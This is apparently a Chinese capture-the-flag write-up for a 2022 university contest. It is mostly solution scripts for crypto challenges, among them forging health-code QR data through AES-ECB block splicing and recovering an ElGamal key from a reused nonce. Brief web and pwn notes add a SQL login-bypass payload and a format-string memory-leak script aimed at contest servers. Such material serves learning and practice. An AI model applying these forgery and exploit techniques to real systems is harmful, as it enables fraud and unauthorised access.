2022西电抗疫CTF个人赛
2022西电抗疫CTF个人赛
详细写了下crypto的wp,其余方向简略给出思路或脚本
文章目录
- 2022西电抗疫CTF个人赛
- CRYPTO
- 1.做个核酸签个到
- 2.Random?Secure?Algorithm?
- 3.fight_against_covid
- 4.AweSomeSha3!
- 5.BOB的健康码
- 5.1 BOB的健康码1
- 5.2 BOB的健康码2
- 5.3 BOB的健康码3
- MISC
- 1-6
- WEB
- 1-6
- PWN
- 1-3
- 4.Collision
- 5.scripts
- 6.formatstring
- REVERSE
- 1.the edge
- 2.bullshxt
- 3.click it!
- 4.runme
- 5.recovery
CRYPTO
1.做个核酸签个到
逐位遍历二进制的flag和a,b比较即可。
from Crypto.Util.number import *
t=4475588893486760807434877361949655702156202
a=10403436853134845129656953606837707260539903
b=2994485173442830774576326061629704337957160t=bin(t)[2:].zfill(143)
a=bin(a)[2:].zfill(143)
b=bin(b)[2:].zfill(143)
res=''
for i in range(143):for j in (0,1):if j|int(t[i])==int(a[i]) and j&int(t[i])==int(b[i]):res+=str(j)
print(long_to_bytes(int(res,2)))
2.Random?Secure?Algorithm?
运行gen_prime()函数发现每次输出均相同,则加密过程即为n=p * q * r * s , p=q=r=s的RSA
from random import *
from Crypto.Util.number import*
n=2220807746894627523222202124776163478527976105639908696684960749126424512881854877612451343059455214098898034661237728063590623533844736775173121931789755672281308428039481610223926648486535537266518592523804878106456736231116970493024909507160799408290646002104567544126920953422128397093317788717069423812791560021066430498563457374609893334361756465420330176244989676586479166336218556641172090718482194292197412911139771273274714095735297058566121733012205906499181231909338887015496742596987502746140740611885150614938360456497893944529865631525824696926783090332719331167229992334443881034786985550920319985734221666713601
c=634057945874353594022022069483974274802345710976798102667748679310082300326072415452246707696914695264376634375433404430691377289430628864830705005890158416150698258253919718484678774288826541601787179699274130877838178274549997680506212326443386524962637463047111837598586603070301100227308868294313317591522323170042363202978135769499399961383546980034634956104147199359999671017544747241485716932828394760511756379878402551287792764280949085295956683651929873602289520407522116635348927049436823594743766190445303191020310627575176711547105464725518638312131699845488260895331033189716088924897737884915591463313831762560128
e=0x10001def gen_prime():bits = randrange(200,500)tmp = 1 << bitswhile 1:if isPrime(tmp - 1):return tmp - 1 tmp <<= 1p=gen_prime()
phi=(p-1)*p*p*p
d=inverse(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))
3.fight_against_covid
flag为32位长的字符串,化为二进制形式后长度为32*8。
函数transmission_of_COVID() 是每次把二进制的flag循环右移一位,一共右移4次,只要写出循环左移4次或者再循环右移32*8-4次即可还原flag
from Crypto.Util.number import *
BITS_LEN = 32 * 8
APART_LEN = 1
TIMES = 32*8-4
state=43440857574112066559373619969745981593504262639540191600960458557114603451242def transmission_of_COVID(state):for i in range(TIMES):tmp1 = state >> APART_LENtmp2 = state >> (BITS_LEN - APART_LEN) << (BITS_LEN - APART_LEN)tmp_state = tmp1 ^ tmp2state = tmp_state ^ statereturn state
print(long_to_bytes(transmission_of_COVID(state)))
4.AweSomeSha3!
先看源码45行
if len(msg) < len(flag):msg = msg + os.urandom(len(flag) - len(msg))
如果我们发送消息长度小于flag长度,则我们的消息会被加上随机字节直到长度与flag相等。只要msg相同,最后返回的结果都是相同的。我们利用这一特性,发送相同长度的消息两次,查看返回的结果是否相同即可确定flag长度。经测试len(flag)=39。
再看源码47-51行
my_and = xor_a_b(xor_a_b(xor_a_b(xor_a_b(and_a_b(msg,flag),magic1),magic2),magic2),magic1)
#my_and等同于and_a_b(msg,flag)
my_xor = xor_a_b(xor_a_b(xor_a_b(xor_a_b(xor_a_b(msg,flag),magic1),magic2),magic2),magic1)
#my_xor等同于xor_a_b(msg,flag)
my_mix = mix_a_b(my_xor,my_and)
the_real_mix = sha3_512(my_mix).hexdigest()
在mix_a_b函数中输出的第i字节为a中的第(b[i-1]+1)%len(a)字节。只要b的所有字节均相同,输出的my_mix所有字节均相同。考虑b为全0的情况,输出my_mix全为a的第一位。
要构造这种情况,只需使输入的msg为全0即可。此时my_and=b’0‘ * 39,my_xor=flag,my_mix全为my_xor的第一位‘f’,最后返回的结果为sha3_512(b’f’ * 39)。
下一步,改变msg中的一个不是前8位的比特位为1。此时,若flag该位为0,my_and结果不变,my_xor第一个字节‘f’不变,则my_mix不变,返回结果也不变。若flag该位为1,my_and其中一位改变,my_mix结果改变,返回结果改变。这样通过遍历msg中不是前8位的每一个比特位,即可得到flag中不是前8位的每一个比特位。在最后的flag前面加上‘f’即可。
from time import sleep
from Crypto.Util.number import *
from hashlib import sha3_512
import socketserver
import signal
import os
import socketip , port = '101.34.206.158' , 10002
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(s.recv(2048))
print(s.recv(2048))
LEN=39print(sha3_512(b'f'*39).hexdigest())
res=''
sha=b'-[+]Oh!Sir/Madam,your msg is mixed into:bed31c723762cf4aaf6c5d426ca3cc3c3d8d61efaef7eefde8e0d04b3be8d0102d3f5cb665925fee5fb6c676a68d590cb692d41b373be76f38c5af9716973f87\n'
for i in range(1,39):print(i)for j in range(8):n=hex(2**(7-j))[2:].zfill(2)m1='00'*im2='00'*(39-i-1)msg=m1+n+m2s.send(msg.encode())r=s.recv(2048)#print(r)s.recv(2048)if r==sha:res+='0'else:res+='1'
print(res)
print(b'f'+long_to_bytes(int(res,2)))
5.BOB的健康码
5.1 BOB的健康码1
查看源码,二维码解码后数据data的格式为{"name": "alice", "time": 1641181093, "isRed": 1}
,其中只包含姓名,时间戳,是否为红码三个参数。服务器有4个人alice,bob,carol,david的是否为红码数据,只有alice为红码。
这题data没有经过任何加密,可以随意修改内容。从服务器获取一个alice的二维码,了解格式后把时间戳和是否为红码修改再编码提交即可通过。(时间戳只有30秒有效期
import time
from PIL import Image
from base64 import *
import qrcode
import pyzbar.pyzbar as pyzbar
def qrdecode(qr , size):qr = b64decode(qr)code = Image.frombytes('1' , size,qr)m = pyzbar.decode(code)return m[0].data
def qrencode(data):qr = qrcode.QRCode(error_correction = qrcode.ERROR_CORRECT_L,border=1,box_size=1)qr.add_data(data)qr.make(fit=True)img = qr.make_image()#print(img.get_image())return b64encode(img.tobytes())
t=int(time.time())
data=b'{"name": "alice", "time": 1641181093, "isRed": 0}'
data=data.replace(b'1641181093',str(t).encode())
print(data)
size=(31,31)#经过尝试,size为31
res=qrencode(data)
print(res)
5.2 BOB的健康码2
这题的data经过aes的ecb模式加密,且每次使用的密钥相同。ecb模式分块加密,每块16字节长,且不考虑密文完整性。可以通过拼接两次加密的不同块达到伪造的效果。
data长度为49字节,加密时被分为4块,最后一块有15bit的padding。已知alice,carol,david三人姓名长度相同,他们data的第一块包含姓名信息,后面几块包含时间戳和是否为红码信息。我们向服务器请求alice和david的二维码,将alice的第一块与david的后三块拼接再发送即可通过。
def solve(qr1,qr2):size=(39,39)#经过尝试,size为39c1=b64decode(qrdecode(qr1,size))#alicec2=b64decode(qrdecode(qr2,size))#davidc_=c1[:16]+c2[16:]data_=b64encode(c_)qr_=qrencode(data_).decode()print(qr_)return qr_
5.3 BOB的健康码3
这题的data后面附有elgamal数字签名(具体过程请百度),服务器将每次发送的数据签名后发送,每次接收的数据验签后接收。
通过阅读elgamal源码,发现源码在签名过程中的k并不是随机选取的,而是和私钥x有关。每次签名私钥x不变,则k也不变,r=g^k(mod p)也不变。我们向服务器获取alice和david的数据m1,m2及其签名(r1,s1),(r2,s2)。
写出s的定义式,对于两次签名(r1,s1),(r2,s2),x,r,k,q都是定值。
s≡(H(m)−xr)k−1(modq)(1)s \equiv (H(m)-xr)k^{-1}\pmod {q} \tag{1} s≡(H(m)−xr)k−1(modq)(1)
构造s1-s2消去未知的x。
s1−s2=(H(m1)−H(m2))k−1(modq)(2)s_1-s_2=(H(m_1)-H(m_2))k^{-1}\pmod {q} \tag{2} s1−s2=(H(m1)−H(m2))k−1(modq)(2)
由q是素数,(s1-s2)一定与q互素,(s1-s2)模q的逆存在,可以列出k的计算式:
k=(H(m1)−H(m2))∗(s1−s2)−1(modq)(3)k=(H(m_1)-H(m_2))*(s_1-s_2)^{-1}\pmod {q} \tag{3} k=(H(m1)−H(m2))∗(s1−s2)−1(modq)(3)
得到k后再将k代入(1)式中即可得到私钥x,就可以用私钥伪造签名了。
from Crypto.Util.number import *
from random import *
from hashlib import *
from base64 import *
import os
import json
import time
from PIL import Image
import qrcode
from Crypto.Cipher import AES
import pyzbar.pyzbar as pyzbar
def pad(m):padlen = 16 - len(m)%16return m + bytes([padlen] * padlen)
def unpad(m):padlen = m[-1]for i in range(padlen):if m[-i-1] != padlen:return 0return m[:-padlen]
def qrdecode(qr , size):qr = b64decode(qr)code = Image.frombytes('1' , size,qr)m = pyzbar.decode(code)return m[0].data
def qrencode(data):qr = qrcode.QRCode(error_correction = qrcode.ERROR_CORRECT_L,border=1,box_size=1)qr.add_data(data)qr.make(fit=True)img = qr.make_image()#print(img.get_image())return b64encode(img.tobytes())
def elgamal_sign(key , m):p ,q , g , y , x = keyk = int(sha256(str(x).encode()).hexdigest() , 16)m = int(sha256(m).hexdigest() , 16) r = pow(g ,k , p)s = (m - x*r)*inverse(k , q) % qreturn b64encode(long_to_bytes(r).rjust(16, b'\x00') + long_to_bytes(s).rjust(16 , b'\x00'))size=(39,39)#经过尝试,size为39
p,q,g,y=(266828192396796316651265339006252656547, 133414096198398158325632669503126328273, 15364015048434983000852121103848437850, 208157834112908509672981932742105727819)
qr1=b'//6AvmZWAr6z0er6oppYIoqiigZeiqLKJFaKvo3z+vqAqqqqAv/nlDP+mOq6a0LHnWVXHugPejXulfqNYM6UJ7ToZu/pvhU+wKA5Y96pR0x1DojJ1KhKwW6+Jy62PA1gnslKRf/CsGeZaGaFuDYHPvDRf3ZO12bI80LiasSoapVvDge+4v5rUxb/SsAz6o6ElLgu/5pna7aAwH86rr61ACOuorkWuCai/BlaQqLvXlROvoqQ7WaAtPLfYv/+'
qr2=b"//6A36huAr6SX9L6osZp5oqilveaiqLqqm6Kvq09wvqAqqqqAv/7Zff+ggh0UVbJ3ytv/tjCW7Ly0Ubsp9KEtLrQhuVKAA3e3FxItMKZay2iEuQ4GpCq804wH86ssVyngpvWZDje7iSXUIaJ2ag/3tq9brHS5bq5NF7qSdqQipO8gD9eukIKlEqxdrH0tq4nWoAO/6kpU7aAnC76kr7pceOyoprYgAaijydikqKTf5NyvobhKrqAhxznYv/+"
#p,q,g,y=input().split(', ')
p,q,g,y=int(p),int(q),int(g),int(y)
#qr1=input('qr1\n').encode()
#qr2=input('qr2\n').encode()
data1=qrdecode(qr1 , size)
data2=qrdecode(qr2 , size)
data1 , t1 = data1[:-44] ,data1[-44:]
data2 , t2 = data2[:-44] ,data2[-44:]
m1 = int(sha256(data1).hexdigest() , 16)
t1 = b64decode(t1)
m2 = int(sha256(data2).hexdigest() , 16)
t2 = b64decode(t2)
r1 = bytes_to_long(t1[:16])
s1 = bytes_to_long(t1[16:])
r2 = bytes_to_long(t2[:16])
s2 = bytes_to_long(t2[16:])k=((m1-m2)*inverse(s1-s2,q))%q
x=((m1-s1*k)*inverse(r1,q))%q
key=(p,q,g,y,x)new_time=str(int(time.time())).encode()
new_m=b'{"name": "alice", "time": 1641181093, "isRed": 0}'
new_m=new_m.replace(b'1641181093',new_time)
new_t=elgamal_sign(key,new_m)
new_data=new_m+new_t
new_qr=qrencode(new_data)
print(new_qr.decode())
MISC
1-6
题目 | 解法 |
---|---|
1.戴上口罩 | flag在口罩下面,从下往上选取就行了 |
2.帮阿伟买个口罩吧 | 找RPGMAKER的修改器RMModify把存档金钱修改即可 |
3.打不开的压缩包 | 伪加密,用7zip就打开了 |
4.佛说 | 与佛论禅https://www.keyfc.net/bbs/tools/tudoucode.aspx |
5.不一样的贝斯 | base32 base64 |
6.奇怪的文件 | PNG头部缺0D0A1A0A四个字节,然后Stegsolve解LSB隐写 |
WEB
1-6
题目 | 解法 |
---|---|
1.F12 | 看源代码,AAEncode |
2.你喜欢copy吗 | 复制源代码然后用python的split分开 |
3.ez_game | 找到enemys.js,把击杀敌人分数改成9999 |
4.tips | 看源代码找注释/?answer=,答案为121.196.162.53:10000/?answer=B,E |
5.让我访问! | burp改头部HTTP为HS |
6.真是个好简单的sql注入啊! | SELECT * FROM users WHERE username = ‘\’ AND password = ’ or 1=1#’ |
PWN
1-3
题目 | 解法 |
---|---|
1.shell | 直接给了shell。 cat flag |
2.fd | puzzle1:两次分别输入1131796,secretKey;puzzle2不会 |
3.integer | 整型溢出,输入2147483648获得shell |
4.Collision
from Crypto.Util.number import*
#Big-endian or Little-endian
s=b"secretKey"+b'\x00'*3
s=b"rceseKte\x00\x00\x00y"
l=[0,0,0]
a0=bytes_to_long(s[:4])
a1=bytes_to_long(s[4:8])
a2=bytes_to_long(s[8:])
print(a0,a1,a2,0,0)
# 1919116659 1699443813 121 0 0
5.scripts
在接收的数据中找出两个数字再把两个数字的和发回去100次以上就能拿到shell
import socket
ip , port = '1.117.139.210' , 9605
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
for i in range(5):print(s.recv(1024))for i in range(101):t=s.recv(1024)t=t.split(b'\n')a=int(t[1][12:])b=int(t[2][12:])#print(a+b)s.send((str(a+b)+'\n').encode())s.recv(1024)for i in range(3):print(s.recv(1024))s.send(b'cat ./flag\n')
print(s.recv(1024))
6.formatstring
第一次输入64个0把字符串溢出,获得flag后半段
第二次利用printf格式化字符串漏洞读取地址0x004040c0的字符串
import socket
ip , port = '1.117.139.210' , 9602
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))print(s.recv(1024))
addr=bytes.fromhex('00000000C04040')
s.send(b'%7$s'+addr+b'\n')
print(s.recv(1024))
print(s.recv(1024))
s.close()
REVERSE
不会re,有时候在ida获得神秘字符串,加加减减异或就得到flag了- -
1.the edge
安装运行拖动边界
2.bullshxt
ida获得神秘字符串“gmbh|u4bdi4s(t`cm11e`qs4ttvs4`VQVQ~”
a='gmbh|u4bdi4s(t`cm11e`qs4ttvs4`VQVQ~'
for i in a:print(chr(ord(i)-1),end='')
3.click it!
直接拖进ida搜索字符串
4.runme
a='103 110 98 99 126 85 54 102 110 85 75 83 94 62 97 41 78 38 76 65 32 107'.split(' ')
for i in range(len(a)):print(chr(int(a[i])^i+1),end='')
5.recovery
c=b"'31=3\t3333\x9d3/\x8d\x17-#-\xbd1\xbd\xbd\xed\x05\xed\xed\xed\xed\xed\xed\xed\xed"def swap_matrix_row(matrix):for i in range(0, len(matrix) - 1, 2):matrix[i],matrix[i+1] = matrix[i+1], matrix[i]return matrix
c=[bin(c[i])[2:].zfill(8) for i in range(32)]
c=swap_matrix_row(c)
for i in range(32):c[i]=c[i][-1]+c[i][:-1]
print(bytes([int(i,2)^0xff for i in c]))
2022西电抗疫CTF个人赛相关推荐
- 2022西湖论剑-初赛CTF部分wp-Zodiac
2022西湖论剑-初赛CTF部分wp-Zodiac 文章目录 2022西湖论剑-初赛CTF部分wp-Zodiac WEB real_ez_node 扭转乾坤 Node Magical Login PW ...
- 2022年第八届美亚杯个人赛复盘
以学生的身份最后一次打美亚杯了还是要记录一下的写个wp告别哈哈. 1.[单选题] 王晓琳在这本电子书籍里最后对哪段文字加入了重点标示效果(Highlight)?(2分) A. 卿有何妙计 B. 宝玉已 ...
- 2022西邮linux兴趣小组纳新题解
目录 0. 我的计算器坏了?! 1. printf还能这么玩? 2. 你好你好你好呀! 3.换个变量名不行吗? 4. 内存对不齐 5. Bitwise 6. 英译汉 7. 汉译英 8. 混乱中建立秩序 ...
- 2022 长安“战疫”网络安全卫士守护赛 WriteUp
麻薯星的zyz想要生猴子!!!麻薯星的zyz想要生猴子!!!麻薯星的zyz想要生猴子!!! 队友第一轮做了俩Web之后就摆烂了 寄 总体来说长安战疫基本大部分题都偏向入门,适合大一新生练练手 少部分多 ...
- 2020新春战疫ctf公益赛——Misc套娃
一看套娃就能猜到会是一个繁琐的题目,从压缩包里放着压缩包可以猜测整个题目的过程中寻找压缩包密码是一条主线. 第一层 很明显的txt里边Ook的加密,解密便得到压缩包2的密码. brainfuck/Oo ...
- GUET七星瓢虫2022年考核题目ctf部分复现
WEB1: 打开网页发现什么也没有 ,ctrl+U看看源码 发现robots,尝试打开robots.txt 发现一个叫 ladybug.php的文件,尝试打开 根据题目要求用GET传参cat=I wa ...
- 西普部分CTF题目(逆向)
1.阿拉丁神灯http://ctf1.simplexue.com/crack/1/ 这个比较简单,用ida加载后,函数列表里有Button1_click,点击进去后发现 这里有个比较函数,应该是输入的 ...
- 1.实验吧_ropbaby(西普杯CTF)_onegadget
分析 1.先查看文件位数,安全机制 2.查看strings,调用函数(特别注意常见的函数) 漏洞点 EXP from pwn import * context.log_level = "de ...
- Newstar Ctf 2022| week2 wp
Newstar Ctf 2022| week2 wp Newstar Ctf 2022第二周题目的wp. 文章目录 Newstar Ctf 2022| week2 wp Crypto unusual_ ...
- 西邮Linux兴趣小组2022纳新面试题题解
本题目只作为Xiyou Linux兴趣小组2022纳新面试的有限参考. 为节省版面,本试题的程序源码省去了#include指令. 本试题中的程序源码仅用于考察C语言基础,不应当作为C语言「代码风格」的 ...
最新文章
- 模板 - 图论 - 树链剖分
- 第九章 思科竞争谋略
- NYOJ 737---石子归并(GarsiaWachs算法)
- SAP云平台和SAP C4C之间的OAuth2.0配置
- 多态加opp内置函数
- EXT3-fs error和EXT4-fs error小总结
- Python Selenium IE 上传文件和 处理网页对话框showModalDailog模态对话框
- 微信小程序入门5-微信公众号扫码登录PC端网页
- 电子商务类网站CDN加速方案
- 前后端分离开发,如何定义各类错误码?
- bzoj 3730 震波 —— 动态点分治+树状数组
- 关于项目上线(新浪云)
- html阴影效果骰子,flex布局案例(骰子)
- LOB类型数据的MOVE
- Arduino IDE无法打开问题解决
- Qt Creator中如何为某项目单独配置默认编码方式
- GDPR罚单 | Ticketmaster因个人数据泄露被罚款125万英镑
- html给复制的英文文献换空格符
- java项目打包提示-source1.5中不支持diamond
- Mac 三步查看已连接过的wifi密码